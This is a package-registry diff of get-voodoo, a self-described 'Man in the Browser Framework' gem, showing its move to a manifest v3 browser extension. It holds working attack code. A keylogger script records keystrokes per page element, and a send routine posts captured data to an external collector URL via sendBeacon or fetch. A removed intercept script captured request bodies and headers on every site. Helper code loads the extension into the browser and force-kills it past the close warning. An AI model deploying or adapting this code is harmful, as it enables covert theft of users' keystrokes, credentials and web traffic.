get-voodoo 0.0.12 → 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 6906a5bfd817cfdb86c525ffc86677ef7185991a70d0c678df07e41ee2394a81
4
- data.tar.gz: 8adb2abcc70fe837e0c5c92cfc306d61a4e14c844bdf50009f0765b458bcc479
3
+ metadata.gz: 6a341abc912de135e5a04f0e68ab9aa135dca2f459fd151d6efe65aa91bdaaf3
4
+ data.tar.gz: 6e4b644cbe55322c0cfa4902754946526f0f7b38e269ea9cdbc83ba822c28e13
5
5
  SHA512:
6
- metadata.gz: 2021b65dc3154a76238cb3cb2015911cda5ddd3aff056814857670925d67ad471d0d8bf4ee4d812940a070819dbc35ac1899c654af82dedfbf4af8eb68727674
7
- data.tar.gz: 2febeb01c329895e3313d309e32ce7db3b247f0ea092a4ed0502bfe0d7f97c5050041f62b42e4a7236871869e114e56d8458bdf9188201eb9eeb4582c4d64131
6
+ metadata.gz: 0e3206f94e3f27b0242241d0d9bb997526b622a0eca480b2d10e96c90187634195f05fbd7cd062da5a37fccd462c216c03104048244a2484c9bbceaca2b5fcda
7
+ data.tar.gz: 684e82da1f92fc33b2bc898c8b67d40bf0612a34e9e4856dd686366f62eb978d72a6b9d882118b1f4738090ce3753b435b089ec9c713d03a86c8c6c33454b7da
@@ -14,8 +14,8 @@ module VOODOO
14
14
  @process_name = process_name
15
15
  @collector_threads = []
16
16
 
17
- @extension.manifest[:permissions] = ['tabs', '*://*/*', 'webRequest']
18
- @extension.add_background_script(file: File.join(__dir__, 'js/collector.js'))
17
+ @extension.manifest[:permissions] = ['tabs', 'storage']
18
+ matches = '*://*/*'
19
19
  end
20
20
 
21
21
  def keylogger(matches: '*://*/*', max_events: nil)
@@ -25,30 +25,18 @@ module VOODOO
25
25
  ) do |event|
26
26
  yield event
27
27
  end
28
- end
29
-
30
- def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil, max_events: nil)
31
- options = {
32
- matches: matches,
33
- url_include: url_include,
34
- body_include: body_include,
35
- header_exists: header_exists
36
- }
37
-
38
- add_script(options: options,
39
- background: true,
40
- max_events: max_events,
41
- file: File.join(__dir__, 'js/intercept.js')
42
- ) do |event|
43
- yield event
44
- end
45
- end
28
+ end
46
29
 
47
30
  def add_permissions(permissions)
48
31
  permissions = [permissions] unless permissions.is_a? Array
49
32
  @extension.manifest[:permissions] += permissions
50
33
  end
51
34
 
35
+ def add_host_permissions(hosts)
36
+ hosts = [hosts] unless hosts.is_a? Array
37
+ @extension.manifest[:host_permissions] += hosts
38
+ end
39
+
52
40
  def close_browser
53
41
  # kill the browser process twise, to bypass close warning
54
42
  `pkill -a -i "#{@process_name}"`
@@ -61,7 +49,7 @@ module VOODOO
61
49
 
62
50
  urls = [urls] unless urls.kind_of? Array
63
51
  urls = urls.uniq
64
-
52
+
65
53
  `open -b "#{@bundle}" --args #{flags} --load-extension="#{@extension.save}" #{urls.shift}`
66
54
 
67
55
  if urls.length > 0
@@ -153,12 +141,11 @@ module VOODOO
153
141
  content = content % options
154
142
 
155
143
  if background == true
156
- return @extension.add_background_script(content: content)
144
+ return @extension.add_service_worker(content: content)
157
145
  else
158
146
  if matches == nil
159
147
  matches = '*://*/*'
160
148
  end
161
-
162
149
  return @extension.add_content_script(matches, js: [content])
163
150
  end
164
151
  end
data/lib/voodoo/cli.rb CHANGED
@@ -6,7 +6,7 @@ require 'voodoo/browser'
6
6
 
7
7
  module VOODOO
8
8
 
9
- VERSION = 'v0.0.12'
9
+ VERSION = 'v0.1.1'
10
10
 
11
11
  class CLI < Thor
12
12
 
@@ -14,30 +14,6 @@ module VOODOO
14
14
  def version
15
15
  puts VERSION
16
16
  end
17
-
18
- option :url_include, :type => :string, :aliases => :u, :default => nil
19
- option :body_include, :type => :string, :aliases => :i, :default => nil
20
- option :header_exists, :type => :string, :aliases => :h, :default => nil
21
- option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload'
22
- option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
23
- option :urls, :type => :array, :aliases => :x, :default => []
24
- option :matches, :type => :array, :aliases => :m, :default => ['<all_urls>']
25
- option :browser, :type => :string, :aliases => :b, :default => 'chrome'
26
- option :max_events, :type => :numeric, :default => nil
27
- desc 'intercept', 'Intercept browser requests'
28
- def intercept
29
- browser = get_browser options[:browser]
30
- output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'intercept')
31
-
32
- browser.intercept(matches: options[:matches],
33
- url_include: options[:url_include],
34
- body_include: options[:body_include],
35
- max_events: options[:max_events]) do |event|
36
- output_handler.handle(event)
37
- end
38
-
39
- browser.hijack options[:urls]
40
- end
41
17
 
42
18
  option :urls, :type => :array, :aliases => :x, :default => []
43
19
  option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload, none'
@@ -56,7 +32,7 @@ module VOODOO
56
32
  file = nil
57
33
  content = nil
58
34
 
59
- if File.exists? path_or_js
35
+ if File.exist? path_or_js
60
36
  file = path_or_js
61
37
  else
62
38
  content = path_or_js
@@ -113,6 +89,10 @@ module VOODOO
113
89
  if template['permissions']
114
90
  browser.add_permissions template['permissions']
115
91
  end
92
+
93
+ if template['host_permissions']
94
+ browser.add_host_permissions template['host_permissions']
95
+ end
116
96
 
117
97
  output_format = options[:format]
118
98
  is_default = output_format == 'none'
@@ -126,8 +106,11 @@ module VOODOO
126
106
  template['scripts'].each do |script|
127
107
  file = File.expand_path(File.join(pwd, script['file'])) if script['file']
128
108
  content = script['content']
129
- matches = script['matches']
109
+ matches = script['matches'] || ['*://*/*']
130
110
  background = script['background'] || false
111
+ if background
112
+ matches = nil
113
+ end
131
114
  communication = true
132
115
 
133
116
  if script.keys.include? 'communication'
@@ -17,16 +17,17 @@ module VOODOO
17
17
  author: '~',
18
18
  description: '',
19
19
  version: '0.0.1',
20
- manifest_version: 2,
21
- background: {
22
- scripts: []
23
- },
20
+ manifest_version: 3,
24
21
  permissions: [],
25
- content_scripts: []
22
+ host_permissions: [],
23
+ content_scripts: [],
24
+ background: {
25
+ service_worker: nil
26
+ }
26
27
  }
27
28
  end
28
29
 
29
- def add_background_script(content: nil, file: nil)
30
+ def add_service_worker(content: nil, file: nil)
30
31
  if content == nil && file != nil
31
32
  content = File.read file
32
33
  end
@@ -34,7 +35,7 @@ module VOODOO
34
35
  raise StandardError.new(':content or :file argument are required')
35
36
  end
36
37
  path = add_file(content, with_extension: '.js')
37
- @manifest[:background][:scripts] << path
38
+ @manifest[:background][:service_worker] = path
38
39
  end
39
40
 
40
41
  def add_content_script(matches, js: [], css: [])
@@ -52,6 +53,10 @@ module VOODOO
52
53
 
53
54
  def save
54
55
  @manifest[:permissions] = @manifest[:permissions].uniq
56
+ service_worker = @manifest[:background][:service_worker]
57
+ if service_worker == nil || service_worker == ''
58
+ @manifest[:background].delete(:service_worker)
59
+ end
55
60
  manifest_path = File.join(@folder, 'manifest.json')
56
61
  File.write(manifest_path, JSON.generate(@manifest))
57
62
  return @folder
@@ -40,9 +40,10 @@
40
40
  });
41
41
 
42
42
  window.addEventListener("keydown", function (event) {
43
- if (lastElement !== event.path[0]) {
44
- lastElement = event.path[0];
45
- output += `\n[ELEMENT => ${describe(event.path[0])}]\n`
43
+ const path = event.composedPath();
44
+ if (lastElement !== path[0]) {
45
+ lastElement = path[0];
46
+ output += `\n[ELEMENT => ${describe(path[0])}]\n`;
46
47
  }
47
48
  if (event.key.length > 1) {
48
49
  output += `[${event.key}]`;
@@ -1,6 +1,4 @@
1
- if (!sessionStorage.tab_uuid) {
2
- sessionStorage.setItem("tab_uuid", Math.random().toString(16).substring(2));
3
- }
1
+ let tab_uuid = Math.random().toString(16).substring(2);
4
2
 
5
3
  const VOODOO = {
6
4
  options: { collector_url: "%{collector_url}" },
@@ -11,21 +9,24 @@ const VOODOO = {
11
9
  chunk_string(str, length) {
12
10
  return str.match(new RegExp('.{1,' + length + '}', 'g'));
13
11
  },
14
- is_bg_script: window.location.href.indexOf("_generated_background_page.html") !== -1,
15
12
  send(body) {
16
13
  if (!VOODOO.options.collector_url) {
17
14
  return;
18
15
  }
19
16
 
20
17
  body = JSON.stringify(body);
21
-
22
- if (VOODOO.utils.is_bg_script) {
23
- return navigator.sendBeacon(VOODOO.options.collector_url, body);
18
+ if (navigator && navigator.sendBeacon) {
19
+ navigator.sendBeacon(VOODOO.options.collector_url, body);
20
+ } else {
21
+ fetch(VOODOO.options.collector_url, {
22
+ method: "POST",
23
+ headers: {
24
+ "Content-Type": "application/json"
25
+ },
26
+ mode: "no-cors",
27
+ body
28
+ });
24
29
  }
25
-
26
- chrome.runtime.sendMessage({
27
- collector_url: VOODOO.options.collector_url, body
28
- });
29
30
  }
30
31
  },
31
32
  log(msg) {
@@ -56,8 +57,8 @@ const VOODOO = {
56
57
 
57
58
  VOODOO.utils.send({
58
59
  time: new Date().getTime(),
59
- tab_uuid: sessionStorage.tab_uuid,
60
- origin: window.location.origin,
60
+ tab_uuid: tab_uuid,
61
+ origin: location.origin,
61
62
  payload
62
63
  });
63
64
 
data/lib/voodoo/output.rb CHANGED
@@ -35,14 +35,6 @@ module VOODOO
35
35
  case @command
36
36
  when 'keylogger'
37
37
  write event[:payload], with_print: true
38
- when 'intercept'
39
- req = event[:payload]
40
- write "#{req[:method]} #{req[:url]}"
41
- req[:body] = req[:body][0...97] + "..." if req[:body] && req[:body].length > 100
42
-
43
- if req[:body]
44
- write "BODY: #{event[:payload][:body]}"
45
- end
46
38
  else
47
39
  write JSON.generate(event[:payload])
48
40
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: get-voodoo
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.0.12
4
+ version: 0.1.1
5
5
  platform: ruby
6
6
  authors:
7
7
  - Ron Masas
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2022-03-16 00:00:00.000000000 Z
11
+ date: 2024-12-23 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: thor
@@ -16,56 +16,56 @@ dependencies:
16
16
  requirements:
17
17
  - - "~>"
18
18
  - !ruby/object:Gem::Version
19
- version: 1.2.1
19
+ version: '1.2'
20
20
  type: :runtime
21
21
  prerelease: false
22
22
  version_requirements: !ruby/object:Gem::Requirement
23
23
  requirements:
24
24
  - - "~>"
25
25
  - !ruby/object:Gem::Version
26
- version: 1.2.1
26
+ version: '1.2'
27
27
  - !ruby/object:Gem::Dependency
28
28
  name: rake
29
29
  requirement: !ruby/object:Gem::Requirement
30
30
  requirements:
31
31
  - - "~>"
32
32
  - !ruby/object:Gem::Version
33
- version: 13.0.0
33
+ version: '13.0'
34
34
  type: :development
35
35
  prerelease: false
36
36
  version_requirements: !ruby/object:Gem::Requirement
37
37
  requirements:
38
38
  - - "~>"
39
39
  - !ruby/object:Gem::Version
40
- version: 13.0.0
40
+ version: '13.0'
41
41
  - !ruby/object:Gem::Dependency
42
42
  name: rspec
43
43
  requirement: !ruby/object:Gem::Requirement
44
44
  requirements:
45
45
  - - "~>"
46
46
  - !ruby/object:Gem::Version
47
- version: 3.11.0
47
+ version: '3.11'
48
48
  type: :development
49
49
  prerelease: false
50
50
  version_requirements: !ruby/object:Gem::Requirement
51
51
  requirements:
52
52
  - - "~>"
53
53
  - !ruby/object:Gem::Version
54
- version: 3.11.0
54
+ version: '3.11'
55
55
  - !ruby/object:Gem::Dependency
56
56
  name: bundler
57
57
  requirement: !ruby/object:Gem::Requirement
58
58
  requirements:
59
59
  - - "~>"
60
60
  - !ruby/object:Gem::Version
61
- version: '1.7'
61
+ version: '2.0'
62
62
  type: :development
63
63
  prerelease: false
64
64
  version_requirements: !ruby/object:Gem::Requirement
65
65
  requirements:
66
66
  - - "~>"
67
67
  - !ruby/object:Gem::Version
68
- version: '1.7'
68
+ version: '2.0'
69
69
  description: Man in the Browser Framework
70
70
  email:
71
71
  executables:
@@ -80,7 +80,6 @@ files:
80
80
  - lib/voodoo/collector.rb
81
81
  - lib/voodoo/extension.rb
82
82
  - lib/voodoo/js/collector.js
83
- - lib/voodoo/js/intercept.js
84
83
  - lib/voodoo/js/keylogger.js
85
84
  - lib/voodoo/js/voodoo.js
86
85
  - lib/voodoo/output.rb
@@ -1,90 +0,0 @@
1
- /**
2
- * VOODOO Intercept
3
- */
4
- (function () {
5
- let options = {
6
- body_include: "%{body_include}",
7
- url_include: "%{url_include}",
8
- collector_url: "%{collector_url}",
9
- header_exists: "%{header_exists}"
10
- };
11
-
12
- let matches = "%{matches}";
13
-
14
- if (options.header_exists) {
15
- options.header_exists = options.header_exists.toLowerCase();
16
- }
17
-
18
- if (!Array.isArray(matches)) {
19
- matches = [matches];
20
- }
21
-
22
- function parseBody(body) {
23
- if (body.formData) {
24
- return JSON.stringify(body.formData);
25
- }
26
-
27
- try {
28
- return body.raw.map(data => String.fromCharCode.apply(null, new Uint8Array(data.bytes))).join('')
29
- } catch {
30
- return "";
31
- }
32
- }
33
-
34
- const requests = new Map();
35
-
36
- chrome.webRequest.onBeforeSendHeaders.addListener(function (e) {
37
- const request = requests.get(e.requestId);
38
-
39
- if (!request) {
40
- return;
41
- }
42
-
43
- requests.delete(e.requestId);
44
- request.headers = e.requestHeaders;
45
-
46
- if (options.header_exists) {
47
- let found = false;
48
- for (let header of request.headers) {
49
- if (header.name.toLowerCase() === options.header_exists) {
50
- found = true;
51
- break;
52
- }
53
- }
54
- if (!found) {
55
- return;
56
- }
57
- }
58
-
59
- VOODOO.send(request);
60
- }, { urls: matches }, ['requestHeaders', 'extraHeaders'])
61
-
62
- chrome.webRequest.onBeforeRequest.addListener(
63
- function (request) {
64
- if (request.url.startsWith(options.collector_url)) {
65
- return { cancel: false };
66
- }
67
-
68
- if (options.url_include && request.url.indexOf(options.url_include) === -1) {
69
- return { cancel: false };
70
- }
71
-
72
- if (options.body_include && !request.requestBody) {
73
- return { cancel: false };
74
- }
75
-
76
- if (request.requestBody) {
77
- request.body = parseBody(request.requestBody);
78
- delete request.requestBody;
79
- if (options.body_include && request.body.indexOf(options.body_include) === -1) {
80
- return { cancel: false };
81
- }
82
- }
83
-
84
- requests.set(request.requestId, request);
85
- return { cancel: false };
86
- },
87
- { urls: matches },
88
- ['requestBody']
89
- );
90
- })();